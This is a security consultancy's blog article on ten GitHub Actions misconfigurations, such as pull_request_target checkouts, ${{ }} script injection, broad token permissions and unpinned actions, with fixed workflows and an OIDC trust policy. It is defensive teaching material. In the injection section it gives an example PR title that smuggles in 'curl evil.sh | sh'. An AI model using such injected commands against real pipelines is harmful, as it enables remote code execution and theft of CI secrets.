Supply chain
GitHub Actions: the 10 misconfigurations that give an external contributor production access
pull_request_target, ${{ }} injection, write-all, unpinned actions: the 10 workflow mistakes that open production to an outside PR, with a fixed workflow and zizmor in CI.
In a CI/CD pipeline audit, the entry point is almost never a sophisticated exploit. It is a .github/workflows/*.yml file that trusts content it does not control: a PR title, a fork branch, an action referenced by a mutable tag. Behind the workflow sit a GITHUB_TOKEN, secrets, and very often an AWS role assumable through OIDC.
This article lists the 10 misconfigurations I find most often in SMBs, in the order I look for them, each with the threat, the control, and the evidence to show an auditor. The fixed workflow and the CI guardrail are at the end.
The threat: a workflow is code running with your privileges
A workflow runs with three valuable things: the GITHUB_TOKEN (repository rights), repository or organisation secrets, and, if id-token: write is granted, the ability to obtain cloud credentials through OIDC. The attacker does not need to compromise GitHub: they only need to get their content executed in your trusted context.
This is not theoretical. In March 2025 the tj-actions/changed-files action (very widely used) was compromised: version tags were rewritten to point to a malicious commit that dumped runner secrets into build logs (CISA alert, CVE-2025-30066, added to the KEV catalog on 26 March 2025). Repositories referencing a version tag pulled the malicious code; those pinned to the SHA of a commit predating the compromise were not exposed.
The 10 misconfigurations
1. pull_request_target + checkout of the PR code
pull_request_target runs in the context of the base repository: secrets available, write-scoped GITHUB_TOKEN. If the workflow then runs actions/checkout with ref: ${{ github.event.pull_request.head.sha }} and then npm install or make, the fork’s code runs with those rights. GitHub’s documentation calls this the “pwn request” pattern (Security hardening for GitHub Actions).
Control: use pull_request (no secrets for forks) for anything that builds or tests. Keep pull_request_target for tasks that execute no PR code (labeler, comments). Since 8 December 2025, GitHub also always runs these events from the default branch (changelog, 7 Nov 2025), which limits exploitation through stale branches but does not fix a head checkout.
2. Script injection through ${{ }} in a run:
run: echo "${{ github.event.pull_request.title }}": the expression is substituted before the shell runs. A PR titled "; curl evil.sh | sh # becomes a command. Titles, bodies, branch names, commit messages and head_ref are all concerned.
Control: pass the value through an environment variable and reference it as a shell variable.
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"
3. Overly broad GITHUB_TOKEN permissions
The default depends on the repository or organisation setting: on older repositories it is write-all. A write token can push code, create releases and, depending on context, modify workflows.
Control: permissions: {} at workflow level, then minimal rights per job. At organisation level: Settings → Actions → Workflow permissions → Read repository contents.
4. Third-party actions referenced by tag or branch
uses: org/action@v4 is a mutable pointer: the maintainer (or their compromised account) can move it. This is exactly the tj-actions mechanism.
Control: pin to a 40-character SHA with the tag in a comment (pinact, Dependabot or Renovate for updates). Since August 2025 GitHub lets you enforce SHA pinning and block specific actions through the organisation’s allowed-actions policy (changelog). A workflow referencing an unpinned action then fails at run time.
5. secrets: inherit and over-scoped secrets
A reusable workflow called with secrets: inherit receives all the caller’s secrets. The same goes for organisation secrets shared “with all repositories”.
Control: pass secrets by name, move deployment secrets into environments with required reviewers, restrict organisation secrets to a list of repositories.
6. workflow_run consuming untrusted artifacts
The “build on pull_request, publish on workflow_run” pattern is legitimate, but the second workflow has secrets. If it reads an artifact produced by the PR (a JSON file, a script) without treating it as hostile input, you are back to point 1 through the back door.
Control: validate the content (types, lengths, allow-list), never execute it or interpolate it into a run:.
7. Static AWS keys in secrets, or OIDC with a permissive sub
AWS_ACCESS_KEY_ID stored as a GitHub secret can be exfiltrated by any compromised workflow, with no expiry. Moving to OIDC is the right answer, but a trust policy with "token.actions.githubusercontent.com:sub": "repo:org/*" lets any repository in the organisation, test repos included, assume the role.
Control: exact sub condition, per repository and per environment or branch, and aud set to sts.amazonaws.com. See the artifact below.
8. Unprotected environments
A production environment without required reviewers or branch restriction is just a label. Any branch can deploy to it.
Control: required reviewers, Deployment branches limited to main, and an OIDC sub claim that includes environment:production.
9. Persistent self-hosted runners on public repositories
A non-ephemeral self-hosted runner keeps the workspace, caches and credentials between jobs. On a public repository, a fork PR can plant an implant that outlives the job. GitHub’s documentation explicitly advises against self-hosted runners on public repositories.
Control: ephemeral runners (one job, then destroyed), runner groups per repository, no runner shared between public and private repos.
10. No protection on .github/workflows/ itself
If any contributor with write access can edit a workflow and run it on their own branch, code review protects nothing: the modified workflow executes before it is reviewed.
Control: CODEOWNERS on /.github/ with the security/platform team, branch protection with mandatory review, and persist-credentials: false on checkouts that do not need to push.
The artifact: a fixed workflow and its trust policy
This deployment workflow applies controls 2, 3, 4, 7, 8 and 10. Resolve the SHAs with pinact run (or copy them from the official releases); I deliberately do not freeze them here to avoid publishing stale references.
name: deploy
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@<40-CHAR-SHA> # v5
with:
persist-credentials: false
- uses: aws-actions/configure-aws-credentials@<40-CHAR-SHA> # v5
with:
role-to-assume: arn:aws:iam::111122223333:role/app-deploy-prod
aws-region: eu-west-3
- env:
GIT_REF: ${{ github.ref_name }}
run: ./scripts/deploy.sh "$GIT_REF"
The role’s trust policy binds it to a repository and an environment:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:my-org/my-app:environment:production"
}
}
}]
}
And the guardrail: zizmor is a static analyser for workflows that detects template injection, excessive permissions, unpinned actions, dangerous pull_request_target and secrets: inherit.
name: workflow-lint
on:
pull_request:
paths: [".github/**"]
permissions: {}
jobs:
zizmor:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@<40-CHAR-SHA> # v5
with:
persist-credentials: false
- run: pipx run zizmor --persona regular --min-severity medium .github/workflows
For a first inventory with nothing to install, these two commands give the picture:
# actions not pinned to a SHA
grep -rEn 'uses: [^./][^@]+@' .github/workflows | grep -vE '@[0-9a-f]{40}'
# workflows exposed to fork PRs with secrets access
grep -rln 'pull_request_target' .github/workflows
Evidence for the auditor
A control you cannot demonstrate does not exist for a SOC 2 auditor or an NIS2 prime contractor. What to keep:
- Organisation policy: screenshot or export of the Actions settings (read-only default permissions, SHA pinning enforced, allowed-actions list).
- zizmor report in CI with run history: proof the control runs on every workflow change.
- CODEOWNERS and branch protection on
.github/, readable viagh api repos/{owner}/{repo}/branches/main/protection. - IAM trust policies versioned (Terraform) and a negative test result:
sts:AssumeRoleWithWebIdentityfrom another repository must fail. CloudTrail keeps the trace of denied attempts. - Secrets inventory per repository and environment, with last rotation date; zero static AWS keys is an easy metric to track.
Where to start
Order of payoff, from what I see in engagements: (1) permissions: {} everywhere, (2) replace static AWS keys with OIDC and a strict sub, (3) review every pull_request_target, (4) pin by SHA and enforce the policy, (5) wire in zizmor. About a week of work for an SMB with a few dozen repositories, without touching build logic.
This is the scope of our Supply Chain & CI/CD Security offer: workflow audit, remediation, then CI guardrails so it holds over time.
Found this useful? Share it.
Go further
A topic, a project, a question?
Distribuée supports demanding SMBs on cloud security, CI/CD supply chain and AI security.
Book 15 min